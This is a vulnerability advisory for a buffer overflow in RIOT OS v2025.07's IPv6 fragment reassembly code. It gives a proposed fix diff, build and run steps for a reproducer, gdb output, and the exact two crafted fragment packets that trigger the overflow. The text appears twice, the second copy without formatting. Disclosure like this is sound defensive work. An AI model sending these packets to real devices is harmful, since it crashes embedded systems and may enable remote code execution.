Reported and written by Nils Bernsdorf. Slightly edited by @Teufelchen1 on GitHub import.
Summary
A vulnerability was discovered in the IPv6 fragmentation reassembly implementation of RIOT OS v2025.07.
When copying the contents of the first fragment (offset=0) into the reassembly buffer, no size check is performed.
It is possible to force the creation of a small reassembly buffer by first sending a shorter fragment (also with offset=0).
Overflowing the reassembly buffer corrupts the state of other packet buffers which an attacker might be able to used to achieve further memory corruption (potentially resulting in remote code execution).
To trigger the vulnerability, the gnrc_ipv6_ext_frag module must be included and the attacker must be able to send arbitrary IPv6 packets to the victim.
Description
A vulnerability was found in the gnrc_ipv6_ext_frag_reass function (source).
To trigger the vulnerability, an attacker must send two IPv6 packets that each have a fragmentation header with the same fragment id and the offset field set to 0.
Additionally, the second packet has to be larger than the first packet.
When the first packet is processed by gnrc_ipv6_ext_frag_reass, the implementation detects that no reassembly buffer has been allocated yet (source).
Therefore, the fragmentation header is removed from the packet and the remaining part of the packet buffer is used for reassembly (source).
Note that since the first packet is small, the reassembly buffer will also be small.
Once the second (larger) packet is received, the implementation detects that a reassembly buffer is now present and attempts to copy the fragment's payload into the start (since offset=0) of the reassembly buffer using memcpy.
For fragments with offset>0, a bounds check is present (see here) that potentially reallocates the buffer before copying, but this check seems to have been forgotten for the handling of fragments with offset 0.
Therefore the memcpy overflows the reassembly buffer.
Impact
By overflowing the reassembly buffer, the attacker is able to corrupt the metadata and data of other packet buffers that are located behind the reassembly buffer in memory.
In many cases this quickly causes the OS to crash (DoS).
However, by carefully manipulating the metadata (such as the data pointer) of other packet buffers, the attacker might also be able overwrite arbitrary memory without crashing (potentially leading to remote code execution).
To trigger the vulnerability, the gnrc_ipv6_ext_frag module must be enabled and the attacker must be able to send arbitrary IPv6 packets to the victim.
Proposed Fix
To fix this vulnerability, we propose adding a bounds check before the memcpy in gnrc_ipv6_ext_frag_reass (source).
Note that this bounds check should be performed rather early, to prevent updating rbuf->pkt_len for invalid fragments.
diff --git a/sys/net/gnrc/network_layer/ipv6/ext/frag/gnrc_ipv6_ext_frag.c b/sys/net/gnrc/network_layer/ipv6/ext/frag/gnrc_ipv6_ext_frag.c
index c57407729e..deafa0826e 100644
--- a/sys/net/gnrc/network_layer/ipv6/ext/frag/gnrc_ipv6_ext_frag.c
+++ b/sys/net/gnrc/network_layer/ipv6/ext/frag/gnrc_ipv6_ext_frag.c
@@ -524,6 +524,11 @@ gnrc_pktsnip_t *gnrc_ipv6_ext_frag_reass(gnrc_pktsnip_t *pkt)
DEBUG("ipv6_ext_frag: fragment length not divisible by 8");
goto error_exit;
}
+ else if (rbuf->pkt != NULL && rbuf->pkt->size < pkt->size) {
+ DEBUG("ipv6_ext_frag: reassembly buffer too small to fit first "
+ "fragment\n");
+ goto error_exit;
+ }
_set_nh(fh_snip->next, nh);
gnrc_pktbuf_remove_snip(pkt, fh_snip);
/* TODO: RFC 8200 says "- 8"; determine if `sizeof(ipv6_ext_frag_t)` is
Reproducer
reproducer_2.zip
I have provided an example application and an exploit script to reproduce this bug in reproducer/.
The example application only enables the gnrc_ipv6_ext_frag module and can be built using the following command:
cd reproducer/
make RIOTBASE=<path_to_riot_repo> BUILD_IN_DOCKER=1
To start the application, use the following commands:
# create a tap interface
sudo ip tuntap add tap0 mode tap user ${USER}
sudo ip link set tap0 up
# start the compiled binary
./bin/native64/reproducer.elf -w tap0
You can then run the exploit.py script to send the required packets over the tap interface.
As a first command line option, this script requires the IPv6 address which was printed by the reproducer.
Note: You might have to execute the script with sudo -E as sending over a tap interface requires elevated privileges.
Since the buffer overflow only corrupts the state of the packet buffers, it might take a few seconds before the reproducer binary crashes (or in some cases it might not crash at all).
To verify that the buffer overflow occurs, I executed the binary in gdb and set a breakpoint at the memcpy:
0x407fb1 <gnrc_ipv6_ext_frag_reass+613> test rax, rax
0x407fb4 <gnrc_ipv6_ext_frag_reass+616> je gnrc_ipv6_ext_frag_reass+834 <gnrc_ipv6_ext_frag_reass+834>
0x407fba <gnrc_ipv6_ext_frag_reass+622> mov rsi, qword ptr [rbx + 8]
0x407fbe <gnrc_ipv6_ext_frag_reass+626> mov rdi, qword ptr [rax + 8]
0x407fc2 <gnrc_ipv6_ext_frag_reass+630> mov rdx, qword ptr [rbx + 0x10]
► 0x407fc6 <gnrc_ipv6_ext_frag_reass+634> call memcpy@plt <memcpy@plt>
dest: 0x430310 (_static_buf+352) ◂— 'AAAAAAAAAAAAAAAA`'
src: 0x430350 (_static_buf+416) ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
n: 0x78
0x407fcb <gnrc_ipv6_ext_frag_reass+639> mov rax, qword ptr [rbp]
0x407fcf <gnrc_ipv6_ext_frag_reass+643> mov rdx, qword ptr [rbx]
0x407fd2 <gnrc_ipv6_ext_frag_reass+646> mov qword ptr [rax], rdx
0x407fd5 <gnrc_ipv6_ext_frag_reass+649> mov rax, qword ptr [rbp]
0x407fd9 <gnrc_ipv6_ext_frag_reass+653> mov edx, dword ptr [rbx + 0x18]
memcpy is called with a size of 0x78, however the rbuf->pkt buffer in the rax register that is used as a destination is only 16 bytes long:
pwndbg> p *(gnrc_pktsnip_t*) $rax
$2 = {
next = 0x430210 <_static_buf+96>,
data = 0x430310 <_static_buf+352>,
size = 16,
type = GNRC_NETTYPE_UNDEF,
users = 1 '\001'
}
For reference, I have also included the exact packets sent by my exploit script below:
###[ IPv6 ]###
version = 6
tc = 0
fl = 0
plen = 24
nh = Fragment Header
hlim = 64
src = fe80::140a:4eff:feca:b6a7
dst = ScopedIP('fe80::140a:4eff:feca:b6a8', scope='tap0')
###[ IPv6 Extension Header - Fragmentation header ]###
nh = Hop-by-Hop Option Header
res1 = 0
offset = 0
res2 = 0
m = 1
id = 43981
###[ Raw ]###
load = b'AAAAAAAAAAAAAAAA'
###[ IPv6 ]###
version = 6
tc = 0
fl = 0
plen = 128
nh = Fragment Header
hlim = 64
src = fe80::140a:4eff:feca:b6a7
dst = ScopedIP('fe80::140a:4eff:feca:b6a8', scope='tap0')
###[ IPv6 Extension Header - Fragmentation header ]###
nh = Hop-by-Hop Option Header
res1 = 0
offset = 0
res2 = 0
m = 1
id = 43981
###[ Raw ]###
load = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
Reported and written by Nils Bernsdorf. Slightly edited by @Teufelchen1 on GitHub import.
Summary
A vulnerability was discovered in the IPv6 fragmentation reassembly implementation of RIOT OS v2025.07.
When copying the contents of the first fragment (offset=0) into the reassembly buffer, no size check is performed.
It is possible to force the creation of a small reassembly buffer by first sending a shorter fragment (also with offset=0).
Overflowing the reassembly buffer corrupts the state of other packet buffers which an attacker might be able to used to achieve further memory corruption (potentially resulting in remote code execution).
To trigger the vulnerability, the
gnrc_ipv6_ext_fragmodule must be included and the attacker must be able to send arbitrary IPv6 packets to the victim.Description
A vulnerability was found in the
gnrc_ipv6_ext_frag_reassfunction (source).To trigger the vulnerability, an attacker must send two IPv6 packets that each have a fragmentation header with the same fragment id and the offset field set to 0.
Additionally, the second packet has to be larger than the first packet.
When the first packet is processed by
gnrc_ipv6_ext_frag_reass, the implementation detects that no reassembly buffer has been allocated yet (source).Therefore, the fragmentation header is removed from the packet and the remaining part of the packet buffer is used for reassembly (source).
Note that since the first packet is small, the reassembly buffer will also be small.
Once the second (larger) packet is received, the implementation detects that a reassembly buffer is now present and attempts to copy the fragment's payload into the start (since offset=0) of the reassembly buffer using
memcpy.For fragments with offset>0, a bounds check is present (see here) that potentially reallocates the buffer before copying, but this check seems to have been forgotten for the handling of fragments with offset 0.
Therefore the
memcpyoverflows the reassembly buffer.Impact
By overflowing the reassembly buffer, the attacker is able to corrupt the metadata and data of other packet buffers that are located behind the reassembly buffer in memory.
In many cases this quickly causes the OS to crash (DoS).
However, by carefully manipulating the metadata (such as the
datapointer) of other packet buffers, the attacker might also be able overwrite arbitrary memory without crashing (potentially leading to remote code execution).To trigger the vulnerability, the
gnrc_ipv6_ext_fragmodule must be enabled and the attacker must be able to send arbitrary IPv6 packets to the victim.Proposed Fix
To fix this vulnerability, we propose adding a bounds check before the
memcpyingnrc_ipv6_ext_frag_reass(source).Note that this bounds check should be performed rather early, to prevent updating
rbuf->pkt_lenfor invalid fragments.Reproducer
reproducer_2.zip
I have provided an example application and an exploit script to reproduce this bug in
reproducer/.The example application only enables the
gnrc_ipv6_ext_fragmodule and can be built using the following command:To start the application, use the following commands:
You can then run the
exploit.pyscript to send the required packets over the tap interface.As a first command line option, this script requires the IPv6 address which was printed by the reproducer.
Note: You might have to execute the script with
sudo -Eas sending over a tap interface requires elevated privileges.Since the buffer overflow only corrupts the state of the packet buffers, it might take a few seconds before the reproducer binary crashes (or in some cases it might not crash at all).
To verify that the buffer overflow occurs, I executed the binary in gdb and set a breakpoint at the
memcpy:memcpyis called with a size of0x78, however therbuf->pktbuffer in theraxregister that is used as a destination is only 16 bytes long:For reference, I have also included the exact packets sent by my exploit script below: